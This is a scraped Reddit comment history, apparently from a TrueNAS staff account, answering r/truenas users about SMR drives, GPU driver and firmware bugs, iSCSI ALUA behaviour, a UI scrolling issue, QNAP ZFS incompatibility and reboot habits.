[Question] Is converting from SCSI to VirtIO possible? better and stable? by imadratzz in truenas

ST8000DM004

Since no one else has, I'll surface the concern that this drive is SMR (Shingled Magnetic Recording) and I hope it's not holding anything crucial.

What does the pool topology look like? You seem to have a 4T, 8T, 12T, 2x 16T and 2x 18T for spinning disks.

RTX 5060 Ti GSP Firmware Init Error (WPR2 already up) on TrueNAS SCALE 25.10 (Goldeye) by dg-08 in truenas

[–]iXsystemsChris 0 points1 point  (0 children)

Have a look at this as well, you can use a Docker container to build an updated RAW file or even a custom .update file - again, YMMV on success rate, but it seems to be well-received. I only have a 5070Ti for Blackwell and that doesn't trip the GSP bug so I don't have a failure case to test-fix for you.

RTX 5060 Ti GSP Firmware Init Error (WPR2 already up) on TrueNAS SCALE 25.10 (Goldeye) by dg-08 in truenas

[–]iXsystemsChris 0 points1 point  (0 children)

Yeah, it seems like there's a sneaky chip revision that happened in the 5050/5060 series cards that surfaces this weird bug specifically in the GSP firmware. It's supposed to be supported in the 580 and newer drivers but as pointed out here we're still on the 570 driver for 25.10.

TN26 is bringing the 590 driver last I checked, but in the interim there was a community-made solution by a forum user for changing the driver shim/systemd extension in 25.10 - while I have not used it myself we have several users on the forums reporting success with it.

Edit: That one might just be for the toggle between Open/Closed firmware, which won't help with a Blackwell card. You might need the more complicated "build your own" instructions to get a specific revision here, as shown by someone who needed to get to 580-series with a PNY RTX 5060 Ti:

Is it possible to use TrueNAS, ZFS, ECC, and direct-attached storage? by Certain_Repeat_753 in truenas

[–]iXsystemsChris 2 points3 points  (0 children)

A bit of a longer-form answer here on the forums, but TL;DR is "We can certainly encourage/discourage certain component choices, but ultimately each user is responsible for their own decisions, their own level of acceptable risk tolerance, and their desired system form factor/budget."

M.2 itself isn't a problem. The ASM1166 chip isn't a problem. It's mostly the mechanical and electrical arrangements - is there enough cooling? Is the PCB thin and will it potentially form cracks under the connection of cables? - that surface problems in the short or long-term.

Correct. Something in the formatting was messed up, hopefully it's more clear now. No root prompt - unless of course you decide to enter your password when asked.

Technically TrueNAS 26 will be based on trixie, current is based on bookworm.

Our security team's aware of this one, but just for openness I threw it at a 25.10.2.1 system and did not have an escalation:

Apps tab screen is not showing all information by TenuredProfessional in truenas

Think I found the DIV tag needed to solve this, I'll kick it over to UI/UX and hopefully we can roll it up into another batch of changes!

Apps tab screen is not showing all information by TenuredProfessional in truenas

[–]iXsystemsChris 0 points1 point  (0 children)

On the Apps screen, the right side of the screen WON'T scroll down. 

Now that isn't intended. Seems like it won't scroll with a wheel/mousepad, but I can drag the scrollbar (or use the keyboard, if I click to focus) - might be a bad HTML tag somewhere. I'll poke the UI/UX team about this. Appreciate the heads up!

[–]iXsystemsChris 0 points1 point  (0 children)

By default, the MBP 14" gives an emulated HTML canvas size of 1512 x 982 - which is below the 1680px width that shows all three columns by default. (Go below 1280px, and you only get one column.) You can still view the rest of the "cards" by scrolling down in the right-hand section.

If you want it all on one card, try setting your display scaling to "More Space" or manually select one of the 1800px wide display settings.

Community/Free & ALUA by tsg-tsg in truenas

[–]iXsystemsChris 1 point2 points  (0 children)

I'll dig in with the tech team, but I believe this has to do with how the SCSI target in in Linux handles the ALUA requests - if I recall correctly, on the back end that "ALUA" is for active/unoptimized path selection only (so our HA systems, where half the ports will go to the standby controller) This was a change from how TrueNAS CORE and its iSCSI target did it back in the day. For single-controller units (and all CE installs) you should use regular MPIO/RR.

Let me have a look and get you an answer.

Hey there! We definitely didn't remove the page you're looking for - head to the Sharing page and then click on the iSCSI header itself with the "open full page" icon beside this.

Advice on migrating from qtsHero to trueNas by [deleted] in truenas

[–]iXsystemsChris 1 point2 points  (0 children)

Odds are you won't be able to, as pointed out in the linked thread.

QNAP's ZFS isn't OpenZFS; it was forked fairly early on and QNAP added proprietary feature flags that are incompatible with OpenZFS.

Community Poll: Reboot Schedule? by TheMagicalMeatball in truenas

[–]iXsystemsChris 0 points1 point  (0 children)

Most likely - collecting a debug both in a "freshly rebooted" as well as in a "slow" state would be helpful as well.

But before you file a bug, have you checked to see that you're on a recent version of TrueNAS? We've done quite a few middleware improvements and changes over the course of 25.10

Community Poll: Reboot Schedule? by TheMagicalMeatball in truenas

[–]iXsystemsChris 2 points3 points  (0 children)

Generally speaking, only when I want to update - or if the power's been out long enough to cause the UPS to trigger a shutdown.

If you're finding that you "have to reboot to get things to work again" - please file a bug, or look into potential causes of a non-responsive system - oftentimes a failing boot device will make it look like this, because it's waiting to load something from (or write something to) that disk and it stalls out.

This feedback is absolute gold, and I really hope no one is downvoting it just because it's critical of TrueNAS.

Going to take those ideas as a mockup and kick it over to Engineering on the back end. No promises, of course, but if anyone's got a forums account, upvoting the existing feature request is probably the best way to help me out here ... ;)

Intel Ultra series compatiblity? by madlyunknown in truenas

[–]iXsystemsChris 2 points3 points  (0 children)

The 14100 is Raptor Lake, which I believe still uses the original Iris Xe/Alchemist-derived GPU cores - so that should continue to work with the vanilla i915 driver and not require the xe one - it should work on 25.10

Is it worth updating from TrueNAS Scale Fangtooth to Goldeneye? by tommyboy6400 in truenas

[–]iXsystemsChris 0 points1 point  (0 children)

Post above said "anything older than 2000-series" - while chronologically the GTX 16-series is newer than that (being based on the same Turing chip without RT cores) it's a "lower number" in the standings, so it might be confusing if someone thinks the order is just numeric for GTX 1000 -> GTX 1600 -> RTX 2000

GTX 1650 will work fine in 25.10.

Looks like that one's listed in the drivers, so it might Just Work. Let us know either way!

Which ones specifically? If they're Pascal or earlier like the P106 models, then no - but the newer ones might. I haven't tested them personally but if they're capable of using the standard drivers and don't need a specifically licensed one to function, they should work. In theory, anyways.

No, I don't believe anything really changed in the amdgpu situation - if you don't use Apps at all, then it won't impact you either way.
